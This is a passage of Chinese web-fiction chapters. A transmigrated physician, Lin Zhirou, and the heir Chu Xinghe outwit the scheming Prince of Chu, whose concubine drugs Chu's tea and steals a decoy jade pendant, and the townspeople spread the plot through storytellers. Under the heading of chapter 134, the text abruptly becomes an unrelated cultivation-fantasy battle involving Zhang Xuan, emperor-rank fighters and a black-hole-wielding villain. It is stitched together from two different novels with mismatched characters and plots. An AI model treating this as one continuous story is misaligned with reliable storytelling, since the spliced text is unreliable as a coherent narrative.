“我已和父亲商议过此事。”楚星河揉了揉她的发丝,语气温柔,“不如将部分图纸交给你保管,那地方最是安全。” 林芷柔点头应允,心想楚星河倒是聪明,知道她的锦囊既安全又方便。 “今晚要不要带你去兜风?”楚星河柔声问道,目光中带着几分期待。每次带着她在夜空翱翔,都让他感觉如同神仙眷侣,无拘无束。微风拂面,星月相伴,那种自由自在的感觉,总让人沉醉。 “今日与楚王周旋,已是疲惫。”林芷柔慵懒地靠着他,眼睑微垂,“想睡了。”她的声音带着倦意,像是一只餍足的猫儿。 “时候不早了,”楚星河轻声道,“该回去休息了。明天还要给人看诊。” “再坐会儿,”林芷柔不愿动,“我还没玩够你的手呢。再说了,这么好的夜色,不多看看多可惜。” 楚星河宠溺地笑了:“你呀,就是贪玩。” “我才不是贪玩,”林芷柔嘟着嘴,“我这是在欣赏美景。” “是是是,”楚星河顺着她的话,“欣赏美景。” 林芷柔抬头看着天上的星星,想着这段时日的经历。虽然穿越到这个陌生的世界,但有这样一个人陪在身边,这异世的日子,倒也不算太难熬。 林芷柔靠在楚星河肩上,听着他平稳的呼吸声,心里想着明天该如何应对楚王府的那些人。 不知过了多久,楚星河发现林芷柔的呼吸变得均匀,原来是靠在他肩上睡着了。他无奈地摇摇头,小心翼翼地抱起她,轻轻跃下屋顶。 与此同时,楚王府内,司马川正在暴跳如雷。书房内的茶具早已被他摔得粉碎,碎片散落一地,映着烛光泛着冷冽的光。 黑针一整天未归,那些银子怕是凶多吉少。派出去的人也毫无消息传回,连巴老五那边都查不出蛛丝马迹。他的手指在桌面上敲击,发出沉闷的声响。 来到云州后,诸事不顺。以往在龙城得力的手下,在这里竟成了睁眼瞎。每一步都像是踩在棉花上,让人心中烦闷。 银子丢了,人也不见了,还没找到发泄对象。司马川踱步至窗前,望着院中那株老槐树,树影婆娑,更添几分烦躁。 究竟是谁,有这般胆量和本事,能在他眼皮底下偷走八箱银子?昨夜他也未睡熟,为何连一点动静都未听见?这云州,当真是藏龙卧虎之地。 正想着,腹中突然绞痛,如同千万把刀子在搅动。林芷柔的话在耳边响起:【王爷要是想安然无恙,需修身养性,少饮酒,少熬夜,少烦忧。否则疼痛发作,性命堪忧。】 少熬夜,少烦忧,说得倒轻巧。可这些事若不解决,他如何安心?司马川扶着桌角,额头渗出冷汗,将桌上的文书都打湿了一片。 他捂着疼痛的腹部,强忍着不喝药。那药太过珍贵,得等疼痛难忍时再服用,也好验证林芷柔的医术。可这疼痛来得突然,比往常更甚,让他几乎站立不稳。 贾秦华推门而入,脚步匆忙,见他面色苍白,冷汗涔涔,连忙上前:“王爷!您这是...”话未说完,就被司马川抬手打断。 “去,把药拿来。”司马川指向柜子,声音因疼痛而显得沙哑。 贾秦华取来竹筒,司马川顾不得多想,一饮而尽。药水极苦,入喉还带着灼烧感,像是有火在喉咙里烧。他紧皱眉头,强忍着不适。 一万两银子,一口就没了。若是无效,岂不是打水漂?这个念头刚起,腹中的疼痛就让他无暇他顾。 不消片刻,腹中剧痛竟在迅速消退。司马川难掩惊喜之色,这丫头果真有两下子。他扶着椅子慢慢坐下,感受着疼痛一点点消散。 半刻钟后,他已感觉不到丝毫不适。摸着方才还疼痛难忍的腹部,他露出满意的笑容。屋内的烛火跳动,在他脸上投下明暗不定的光影。 林芷柔,你这医术当真了得。本王得想个法子,将你弄到帝都去才是。司马川眯起眼睛,心中盘算着。 可转念一想,若是强逼于她,怕是会适得其反。这样的人,只能以礼相待,否则一旦翻脸不给药,那可就要了他的命。他端起茶盏,茶水已凉,却也顾不得那么多了。 贾秦华站在一旁,看着自家主子的神色变化,欲言又止。许久,她才小心翻开手中的密报:“王爷,玄冥那边传来消息...” 司马川抬手示意他稍等,又喝了口茶水。这药后劲不小,他需要缓一缓。窗外传来更夫打更的声音,已是三更天了。 “说吧。”他放下茶盏,整理了一下衣袖。 “玄冥皇子已经启程,预计三日后抵达云州。”贾秦华压低声音,“他此行带了不少人马,说是为了安全,可属下觉得,恐怕没那么简单。” 司马川冷笑一声:“自然不简单。这云州,怕是要热闹了。” 他站起身,走到窗前。城中大部分灯火都已熄灭,只有远处守城的士兵还在巡逻。这座城池看似平静,实则暗流涌动。 玄冥皇子此行目的不言而喻,那份连珠弓图谱,怕是要掀起一场腥风血雨。司马川摸了摸腹部,那里已经完全不痛了,但他知道,这只是暂时的。 要想彻底解决病痛,还得靠林芷柔。可这丫头不简单,身边还有个楚星河。若想将她带到帝都,必须从长计议。 第一百三十章 安的什么心? 林芷柔站在医馆的窗前,望着街道上来来往往的行人,眉头微蹙。 医馆里飘着各种药材的气息,清苦中带着一丝温润。她的手指无意识地摩挲着窗台边缘,思绪有些飘远。 司马川最近的动作太过频繁,这绝不是个好兆头。 “主人。”玄猫五轻盈地从窗台上跃下,落地时几乎没有发出任何声响。它优雅地甩了甩尾巴,金色的瞳孔中闪烁着警惕的光芒,“那个姓贾的又在打探世子的行踪。” 林芷柔微微侧身,手指轻轻抚过黑猫柔顺的毛发。她能感受到玄猫五紧绷的身体在她的抚摸下渐渐放松。 “让她查去吧。”她的声音轻柔,却带着不容忽视的冷意,“倒要看看他们想玩什么把戏。” 街角的茶楼里,贾秦华正坐在二楼的雅间中。她的目光透过窗棂,紧盯着对面的医馆,手中的茶盏已经凉了大半。 “良娣。”一个黑衣暗卫悄无声息地出现在她身后,“世子每日未时都会从城南回来,这几日从未改变过。” 贾秦华放下茶盏,瓷器与桌面相碰发出清脆的声响。想起方才司马川那番话,心口有些发紧。 “知道了,你先下去吧。” 待暗卫退下,她独自站在窗前,看着街上熙熙攘攘的人群。记忆不自觉地回到了几年前,那时的她还是相府的大小姐,而不是如今楚王府中的一个良娣。 从什么时候开始,她竟成了别人手中的一枚棋子? 贾秦华站在城南的路口处,远远望见一道修长的身影骑马而来。 马蹄声由远及近,她深吸一口气,调整好面部表情。 “世子请留步。”她上前一步,露出得体的笑容。月光下,她的容颜依旧明艳动人。 楚星河勒住马缰,居高临下地看着她。马儿不安地打着响鼻,似乎感受到了空气中的紧张气氛。 “良娣这是在等我?”他的声音听不出喜怒。 “世子说笑了,只是恰巧遇见。”贾秦华莞尔一笑,眼波流转间带着几分往日的风情,“不知世子可愿与妾身一叙?” 楚星河翻身下马,眸光微动:“既然良娣盛情相邀,那便走走。” 林小七跟在后面,警惕地盯着贾秦华的背影。它能感受到这个女人身上若有若无的杀气。 两人沿着街道慢慢走着,路边的店铺陆续亮起灯笼,在夜色中点缀出一片温暖的光影。 “世子可还记得,当初我们定亲时的情形?”贾秦华状似无意地问道,声音中带着几分怀念。 楚星河的脚步未停,嘴角挂着淡淡的笑意:“良娣何必提这些往事?现在你我各有归属,过去的事,不提也罢。” 贾秦华心中一震,她没想到楚星河会如此干脆地划清界限。她的手指在袖中微微发颤,却强自镇定。 “世子说得对,只是...”她从袖中取出一方手帕,上面绣着精致的花纹,“这个还请世子收下。” 楚星河看也未看:“良娣还是收好吧,免得让楚王误会。” “世子何必如此绝情?”贾秦华咬了咬唇,“难道这些年的情分,就真的一点都不值得留念吗?” “绝情?”楚星河轻笑,目光却冷了下来,“良娣既然选择了楚王,又何必来试探于我?” 林小七在一旁冷哼一声,这个女人果然没安好心。它能感受到贾秦华身上那股若有若无的杀气正在逐渐增强。 贾秦华看着楚星河远去的背影,浓浓的不甘在眼中闪过,那方手帕在手中攥得变形。 回到医馆,林芷柔正在熬药。药炉上升起袅袅白烟,空气中弥漫着浓郁的药香。 “有人想给我送礼物。”楚星河走到她身边,语气中带着几分调侃。他看着她专注的侧脸,心中涌起一股暖意。 林芷柔头也不抬,手中的药勺有节奏地搅动着:“送什么不重要,重要的是送礼的人安的什么心。” “你就不怕我真的被她勾走?”楚星河凑近她耳边,呼吸拂过她的耳垂。 林芷柔轻笑,故意说道:“你若真想走,我也留不住。”她的语气轻松,却带着几分认真。 楚星河将她搂入怀中,感受着她身上淡淡的药香:“傻瓜,我的心你还不清楚吗?” 林芷柔靠在他胸前,听着他有力的心跳声。有些事,不必说得太明白。 夜已深,司马川的房中还亮着灯。烛光在风中摇曳,在墙上投下摇晃的影子。 “王爷,贾良娣已经按计划行事。”暗卫跪地禀报,声音压得极低。 司马川站在窗前,眼中闪过一丝阴冷:“很好,继续盯着。” 他要的不仅仅是林芷柔的医术,更要看到楚星河痛不欲生的模样。只是他不知道,他的每一步棋,都在别人的算计之中。 林芷柔站在后院的药圃中,月光洒在药草上,泛着淡淡的银光。她蹲下身,轻轻抚摸着一株草药的叶子。 “主人,要小心那个贾秦华。”玄猫五蹲在一旁,金色的瞳孔在黑暗中闪着光,“她身上的气息很不对劲。” 林芷柔点点头:“我知道。”她站起身,“有些人,总是不甘心做配角。” 林小七正蹲在屋顶上望月。它想起今晚贾秦华的举动,心中升起一丝不安。 “小七。”林芷柔的声音从下方传来,“下来吧,夜深了。” 林小七轻巧地跃下屋顶,落在林芷柔身边:“主人,我总觉得事情没这么简单。” 林芷柔摸了摸它的头:“是啊,司马川不会这么容易就放弃的。”她的声音很轻,却带着坚定,“不过没关系,来者不拒就是了。” 贾秦华站在茶楼前,微微眯起眼睛,看着眼前这座建在内城与外城交界处的茶楼,心中暗自思量。 茶楼三层高,飞檐翘角,雕梁画栋,处处彰显着富贵气息。门前的石狮子被雨水打湿,在昏暗的天色下泛着幽幽的光泽。 第一百三十一章 偷玉佩 她轻轻拢了拢披风,目光落在不远处那道熟悉的身影上。楚星河一身月白色锦袍,腰间玉佩随着步伐轻轻晃动,发出清脆的声响。 这个男人,总是这般优雅从容。可惜......。 贾秦华抿了抿唇,指尖不自觉地摩挲着藏在袖中的药包。她不知道楚星河是否看出了什么,但她掩饰得如此之好,应该不会被发现才对。 “世子,你来啦?”她故作镇定地问道,声音轻柔得仿佛能掐出水来。 楚星河正要开口,却被一阵剧烈的咳嗽打断。他一手握拳抵在唇边,连连咳嗽,脸色瞬间变得苍白。 “咳咳咳!”又是一阵剧烈的咳嗽声。 贾秦华冷眼看着,不知他是不是有什么阴谋。 “世子这是怎么了?”她轻声问道,语气中带着几分试探,“若是身子不适,不如改日再谈?” 楚星河摆了摆手,指向茶楼,示意要进去说话。他的面色仍有些发白,额头上沁出细密的汗珠。 贾秦华点头应允。反正她早就计划好了,不过是要拿到他的一件贴身之物罢了。以她的手段,这事并不难。 茶楼内人声鼎沸,来往商客络绎不绎。楼下大堂里,几个说书先生正绘声绘色地讲着新编的话本子,引得周围食客不时发出阵阵喝彩声。 两人迈入茶馆,楚星河仍在咳嗽,对迎上来的店小二挥了挥手:“老规矩。” “世子请上楼。”店小二连忙应道,恭敬地在前引路。 贾秦华跟在后面,暗自打量着楚星河的背影。这男人虽生得风流倜傥,举手投足间尽显贵气,却也改变不了他武夫的粗鄙本性。 三楼的雅间宽敞明亮,窗外是繁华的街景。店小二麻利地沏了一壶龙井,又摆上几碟点心,这才轻手轻脚地退了出去。 楚星河一口气灌下两杯茶水,这才缓过气来。他抬手擦了擦额头的汗,道:“换一壶碧螺春茶。” 贾秦华坐在一旁,看着他毫无风度的样子,心中的鄙夷更深。堂堂世子,竟如此粗鲁。她垂下眼帘,掩饰住眼中的厌恶。 待店小二送来新茶,楚星河这才正色道:“良娣找本世子,所为何事?” 他的语气恢复了往日的从容,仿佛方才的咳嗽发作只是一场戏。 “世子何必明知故问?”贾秦华冷笑,“我只是想搞清楚,世子为何要设局害我?” 楚星河闻言,嘴角扬起一抹嘲讽的笑意。他端起茶杯,轻轻吹了吹上面的茶叶:“良娣这话从何说起?以良娣与楚王的关系,本世子何必自降身份?” 贾秦华心中一惊,没想到他会直接说破此事。她强压下心中的慌乱,面上依旧保持着优雅的笑容。 “良娣与楚王私会茶园,诗会同游,本世子都看在眼里。”楚星河继续道,目光意味深长地看着她,“本世子身有隐疾,不过是不愿良娣入府守活寡,何来设局一说?” 贾秦华攥紧了手中的帕子,心中怒火中烧。她没想到楚星河会将她过往的事情全都说出来。那些本该被掩埋的秘密,此刻却被他轻描淡写地揭开。 窗外的雨声渐大,雨滴打在窗棂上发出清脆的响声。贾秦华深吸一口气,强迫自己冷静下来。 她端起茶壶,给楚星河倒了一杯茶,指尖轻轻一动,将藏在指甲缝里的药粉洒了进去。茶水泛起细微的涟漪,很快又恢复平静。 “世子请用茶。”她微笑道,“这碧螺春确实不错,香气醇厚。” 楚星河也不推辞,拿起茶杯一饮而尽。他放下杯子时,目光似有若无地扫过贾秦华的手指。 没过多久,他便“砰”地一声趴在桌上。茶杯滚落在地,发出清脆的碎裂声。 贾秦华试探性地唤了几声:“世子?世子”见他毫无反应,这才起身走到他身边。 她伸手探了探楚星河的鼻息,确认他已经昏迷,这才迅速取下他腰间的玉佩。那是一块温润的白玉,上面雕刻着繁复的花纹。 得手后,她快步离开茶楼,钻进早已等候多时的马车。马夫一扬鞭,马车便消失在雨幕中。 直到马车远去,趴在桌上的楚星河才睁开眼睛,嘴角勾起一抹意味深长的笑。他从怀中掏出一块一模一样的玉佩,在手中把玩着。 楚王的暗卫还未来得及行动,贾秦华已匆匆离去。她的身影在昏暗的街道上若隐若现,最终消失在远处的拐角。 楚星河立在窗边,目光追随着那道身影。他的眉头微蹙,眼中若有所思。 “啧啧,礼仪司大臣的嫡女,居然做这种偷鸡摸狗的勾当。”楚云忍不住嘀咕,声音中带着几分讥讽。 话音刚落,一道凌厉的目光扫来。楚云顿时噤若寒蝉,后背冒出一层冷汗。他低下头,不敢再多说一个字。 楚雨冷笑一声,不屑地道:“楚王这是黔驴技穷了?竟用这等下作手段。” 楚星河转身回到座位,动作优雅地端起茶盏。他轻啜一口,茶香在口中弥漫。沉默片刻后,他开口道:“楚王的手段,向来如此。” 楚云抓起一块点心塞进嘴里,含糊不清地说:“他再能耐,也比不过林大夫。那点小伎俩,早被林大夫看穿了。” “明日一早,有他们好看的。”楚雨忽然笑了,语气中带着几分期待。 楚星河放下茶盏,目光在两人身上扫过:“安排妥当了?” “放心,那些说书先生都是受过林大夫恩惠的,明日定会让全城都知道这事。”楚雨信心满满地回答。 楚星河嘴角微扬,给两人各倒了杯茶。茶香袅袅升起,在房间里弥漫开来。 “主子,要不要我们......”楚雨欲言又止。 “不必。”楚星河摆手,语气平静,“盯紧大营兵器坊就够了。” 楚星河望着窗外,心中暗笑。楚王打的如意算盘怕是要落空了。那瓶药要一万两银子,也不知还够不够他吃到回京。 就在这时,店小二笑脸相迎:“世子爷,掌柜的说还是老规矩。” 楚星河点头离去。这家茶馆是他舅舅的生意,他来此向来记账。 第一百三十二章 全城都在传 隔壁房间,几位说书先生正在热烈讨论。他们已将故事记在心头,从世子退亲,到林大夫医术高明,再到今日玉佩被盗,事无巨细。 茶楼内烟雾缭绕,几个商贾模样的人围坐在雕花圆桌旁,神色凝重。掌柜的端着茶盏,指节轻敲了一下桌面开口说道: “这楚王打的什么主意,咱们心知肚明。”掌柜的放下茶盏,眉头紧锁,“用这种下作手段,想把林大夫骗去帝都?” “楚王想把林大夫带去帝都,这可不行。”一位头发花白的说书先生拍案而起,眼中闪烁着愤怒的火花。 一旁的食客放下手中点心,冷笑道:“用世子爷的玉佩来挑拨离间?也不打听打听,咱们云州的百姓,哪个不知道林大夫的为人?” “林大夫是我们云州的恩人啊!”另一人附和,声音中充满了担忧。 “明早开讲,一个上午不停。”掌柜的眼中闪着精光,手指在桌面上划过,“让全城都知道这楚王的阴谋。” “放心,明日我们一起说这故事,就不信楚王还能把所有人的嘴都堵上。”一个年轻的说书先生信心满满地说道。 马车里,贾秦华将那枚玉佩握在手心,冰凉的触感让她心跳加速。 这一切比想象中容易得多。那个莽撞的楚星河,竟是一点防备都没有。她轻蔑地勾起嘴角,手指摩挲着玉佩表面的纹路。 车窗外传来阵阵喧哗,这些市井小民,又怎会明白她的苦衷?当初在帝都,她不得不依附楚王,如今更是身不由己。 贾秦华思忖片刻,缓缓将玉佩递给司马川。 马车缓缓驶过街道,车帘微掀,露出楚王司马川那张俊美却带着几分阴鸷的脸。他接过贾秦华递来的玉佩,眉头微皱。 “就这么轻易到手了?”司马川将玉佩举到烛光下细看,“这质地...不像是世子该佩戴的。” 贾秦华垂下眼帘,掩饰着内心的不安:“千真万确,这是妾身亲自从他身上取下的。” 司马川将玉佩随手扔在桌上,发出清脆的响声。原本他安排的人马,是要将楚星河和贾秦华堵在茶楼,制造一场轰动全城的丑闻。没想到计划还未开始,玉佩就到手了。 这太容易了。 车厢内陷入短暂的沉默,只有马蹄声规律地敲击着地面。司马川想起在帝都时,自己和贾秦华的私会被楚星河的人堵个正着,引发了满城骚动。如今在云州,他却未能如愿以偿地将计就计。 “你说,”司马川突然开口,目光锐利地盯着贾秦华,“楚星河是不是已经察觉到什么?” 贾秦华心头一颤,强作镇定:“怎么可能?他若是察觉,又怎会轻易让我拿到玉佩?” “但愿如此。”司马川靠回软垫,闭目养神,“若是能将你们堵在茶楼,林芷柔定会心碎。到那时,她或许就会愿意随我去帝都了。” 仁心医馆内,林芷柔正在为一位老妇人把脉。楚星河站在一旁,目光温柔地看着她认真的侧脸。 待老妇人离开,楚星河才将事情经过告诉林芷柔。 “他们想要玉佩?”林芷柔放下药箱,轻笑道,“就给他们好了。” “一块毫无价值的玉佩罢了。”楚星河握住她的手,感受着她掌心的温度,“比起你,那算什么?” 林芷柔低头整理药材,语气平静:“楚王想把我骗去帝都,却用这种拙劣的手段。他太小看云州的百姓了。” 楚星河看着她忙碌的身影,想起当初在帝都,自己也曾被司马川算计。如今来到云州,他终于明白,有些东西,是权势地位都换不来的。 次日清晨,云州的街头巷尾,突然热闹起来。 “听说了吗?帝都来了个王爷,想把林大夫骗走!”一个挑着担子的小贩大声嚷嚷。 “怎么骗?”路过的妇人驻足问道。 “让他的良娣去勾引世子爷,偷了玉佩,想让林大夫误会!”小贩放下担子,手舞足蹈地说着。 这消息如野火般蔓延,从市井到茶楼,从贩夫走卒到达官显贵,人人都在谈论这件事。街边的茶摊上,几个老者正激动地议论。 “那王爷也太不是东西了!”一个老者气得胡子直翘,“咱们林大夫是什么人?岂是他能算计的?” “就是,全城人都知道真相,看他还怎么耍花招!”另一个老者重重地放下茶碗。 茶楼里,客人们你一言我一语,将事情的来龙去脉说得清清楚楚。有人还添油加醋,说楚王在帝都作威作福,欺男霸女的事迹。 “这种人,也配做王爷?” “咱们林大夫在云州救死扶伤,他倒好,想用这种下作手段!” 一时间,整个云州沸腾了。街头巷尾,茶楼酒肆,处处都在谈论这件事。百姓们自发地聚集在仁心医馆门前,表达对林芷柔的支持。 此时,林芷柔正在整理医馆的药柜。她纤细的手指轻轻拂过一个个药罐,仔细检查着药材的存量。 门外传来窸窸窣窣的脚步声,夹杂着压低的议论声。 “快看,那个就是林大夫。” “听说她医术高明,治好了许多疑难杂症。” “可不是么,不过...”说话的人压低了声音,“你们听说了么?楚王...” 林芷柔的手顿了顿,继续专注地整理着药材。 药柜上一个瓷瓶轻轻晃动,林芷柔眼疾手快地扶住。瓶身上“养心丸”三个字映入眼帘,让她不由想起前几日给楚星河开的药方。 “林大夫,外面好热闹。”小丫鬟端着茶走进来,好奇地往外张望,“好像是楚王府的马车停在门口。” 林芷柔抬眼看向窗外,果然看见一辆雕龙画凤的华贵马车停在医馆门前。周围已经围了不少看热闹的人,指指点点,窃窃私语。 “姑娘,要不要...”丫鬟欲言又止。 林芷柔摆摆手:“不用管,该来的总会来。” 话音刚落,就见贾秦华从马车上款款走下。她今日一身淡粉色襦裙,发间珠钗摇曳,举手投足间尽显大家闺秀的气度。只是那双眼睛,不时地往马车方向瞟去,显得有些心不在焉。 林芷柔轻笑一声。司马川果然在马车里,却不愿露面。这是打算让贾秦华来试探她的态度吗? 第一百三十三章 诸事不顺 “林大夫。”贾秦华走进医馆,脸上带着几分忐忑。她的目光在医馆内转了一圈,最后落在正在煎药的小炉子上。 “贾姑娘请坐。”林芷柔示意丫鬟搬来椅子,“不知今日是身子不适,还是...” “我...”贾秦华坐下,手指不自觉地绞着帕子,“我是来向林大夫请教一些事的。” 林芷柔不动声色地打量着她。贾秦华虽然极力掩饰,但那微微发抖的手指还是暴露了她的紧张。 “林大夫可知道云陵伯世子...”贾秦华欲言又止。 “楚世子?”林芷柔挑眉,“他怎么了?” “没,没什么,就是...”贾秦华咬了咬唇,从袖中取出一枚玉佩,“这是他昨日给我的。” 玉佩通体晶莹,上面雕刻着精美的花纹。林芷柔一眼就认出,这是司马川随身佩戴的那枚。 就在这时,医馆外突然传来一阵喧哗。 “林大夫!别信她的话!” “这玉佩是她偷的!” “她在世子爷的茶里放了药,趁机偷走的!” 几个上了年纪的妇人冲进医馆,指着贾秦华大声嚷嚷。贾秦华的脸色瞬间煞白,手中的玉佩差点掉在地上。 丫鬟连忙上前劝阻:“几位婶子,这是医馆,请小声些。” 林芷柔看着这一幕,心中了然。这些妇人显然都知道了楚王的计谋,为的就是让她相信贾秦华用下作手段得到了玉佩,从而对楚星河心生芥蒂。 “贾姑娘。”林芷柔慢悠悠地开口,“这玉佩,该不会是楚王的吧?” 贾秦华猛地抬头,眼中满是慌乱:“我...我记错了,这确实是王爷的。”她慌忙抓起玉佩,几乎是逃也似的冲出医馆。 “姑娘...”丫鬟欲言又止。 “去准备些茶点吧,一会儿该有病人来了。”林芷柔淡淡道。 丫鬟应声退下,林芷柔走到窗前,望着远处的街道。她知道,这只是开始。司马川这步棋本来不错,既试探了她对楚星河的态度,又想借机挑拨他们之间的关系。 可惜,他太小看她了。 楚王的马车匆匆离去,扬起一路尘土,在云州的街道上留下长长的灰痕。 林芷柔站在铺子门前,看着远去的马车,嘴角挂着得意的笑。身后的大婶们还在叽叽喳喳地说着话,那股子劲头丝毫未减。 “林大夫,你放心,谁要是敢动你,我们姐妹几个第一个不答应!”赵大婶挥舞着手臂,脸上的横肉都在抖动。 “就是就是,咱们云州的神医,谁敢抢走!”孙婶也跟着附和,一边说一边往林芷柔身边凑。 林芷柔转身看着这群护犊子的大婶们,心里一阵暖意。这些市井妇人,虽然粗鄙,但比那些所谓的贵女真诚多了。想到贾秦华那张被气得扭曲的脸,她就忍不住想笑。 “各位婶子们的战斗力,真是让我大开眼界。”林芷柔笑着说,“今天多亏了你们。” “哎呦,林大夫你太客气了。”赵大婶不好意思地摆摆手,“你给我那老头子治好了顽疾,我们哪能眼睁睁看着你被欺负。” 林芷柔看着这些朴实的面孔,心中感慨。贾秦华这样的帝都贵女,哪里见过市井妇人的厉害?就算有再多的心机手段,也敌不过这些大婶们的真刀真枪。 “果然还是太嫩了。”林芷柔轻声感叹,目光落在街角那只悠闲舔爪子的黑猫身上。 客栈内,楚王司马川的脸色阴沉得能滴出水来。 “王爷,云州城里都在传,说良娣约云陵伯世子喝茶,用药偷走玉佩的事情。”徐忠低着头,小心翼翼地禀报,“百姓们议论纷纷,说良娣行事不端。” 司马川的手指一顿,语气森冷:“还有什么?” “百姓们都在说,林大夫是云州的神医,谁也带不走。”徐忠擦了擦额头的冷汗,“今日在林大夫铺子前闹事的那些妇人,都是城中有名的泼辣角色。” 司马川在房中来回踱步,脚步声在安静的房间里格外清晰。他走到桌前,端起茶盏抿了一口,眉头紧锁:“罢手吧,林芷柔在云州根基太深,我们不能硬来。郊外大营那边如何?” “回王爷,大营如铁桶,我们一个关系都没打通。”徐忠垂着头,“将军府那边也是滴水不漏。” “废物!”司马川重重拍了下桌案,茶盏跳起,茶水溅在案上。 自从在城门口遇到那只乌鸦,他就诸事不顺。不仅银子不见了,连黑针也杳无音信。这位可是弟弟的老师,他该如何交代? 司马川望着窗外发了会儿呆,突然开口:“晚上安排一下,我要见六公子。” 角落里,一只黑猫优雅地蹲坐着,眼中闪过精光。它看着墨翎飞走的背影,尾巴轻轻摆动:“这小丫头,做事太急躁了。不过,倒是有趣。” 林芷柔的院子里,她正翘着二郎腿坐在诊桌后,手里把玩着一枚玉佩。 “楚王要见秦面罗刹?”她摸着下巴思索,“莫非是想借钱?那么多银子,金泰钱庄能拿得出来吗?” 灰羽从屋檐上跳下来,轻巧地落在她面前:“小姐,我刚才看到楚王身边的人在打探秦面罗刹的消息。” “哦?”林芷柔挑眉,“打听到什么了?” “说是要在子时三刻,在城南的沉月楼见面。”灰羽蹲在桌边,“不过,秦面罗刹那边似乎还没回话。” 林芷柔若有所思地点点头,院子里的风铃被风吹得叮当作响,海棠花瓣随风飘落。 楚星河从天井飘然而下,月光给他清俊的面容镀上一层银辉。 “想什么呢?这么入神。”他看着出神的林芷柔,轻声问道。月光下,少女的侧脸格外柔和。 林芷柔靠进他怀里,感受着他身上淡淡的檀香:“子时三刻,楚王要去见秦面罗刹。” “你的情报网倒是厉害。”楚星河宠溺地点了点她的鼻尖,“灰羽和墨翎都是好手。” “那是自然。”林芷柔得意地扬起下巴,眼中闪着狡黠的光,“我家灰羽和墨翎可都是高手。” 楚星河搂着她的腰,轻笑道:“好好好,都是高手。”笑声中带着几分宠溺。 第一百三十四章 去听墙角? 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中分裂出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情功法,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们死了,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以死了……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他镇压……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法镇压吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法镇压,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 